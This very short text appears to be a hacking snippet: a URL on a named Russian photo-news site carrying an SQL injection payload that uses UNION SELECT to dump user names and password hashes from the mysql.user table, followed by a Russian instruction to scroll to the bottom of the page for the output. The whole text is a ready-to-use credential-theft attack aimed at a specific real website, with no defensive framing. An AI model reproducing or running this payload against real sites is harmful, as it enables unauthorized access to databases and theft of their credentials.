http://www.photostars.ru/news/event.htm?id=63'+union+select+1,2,3,4,concat(user, char(58),password),6,7+from+mysql.user/* прокручиваем в самый низ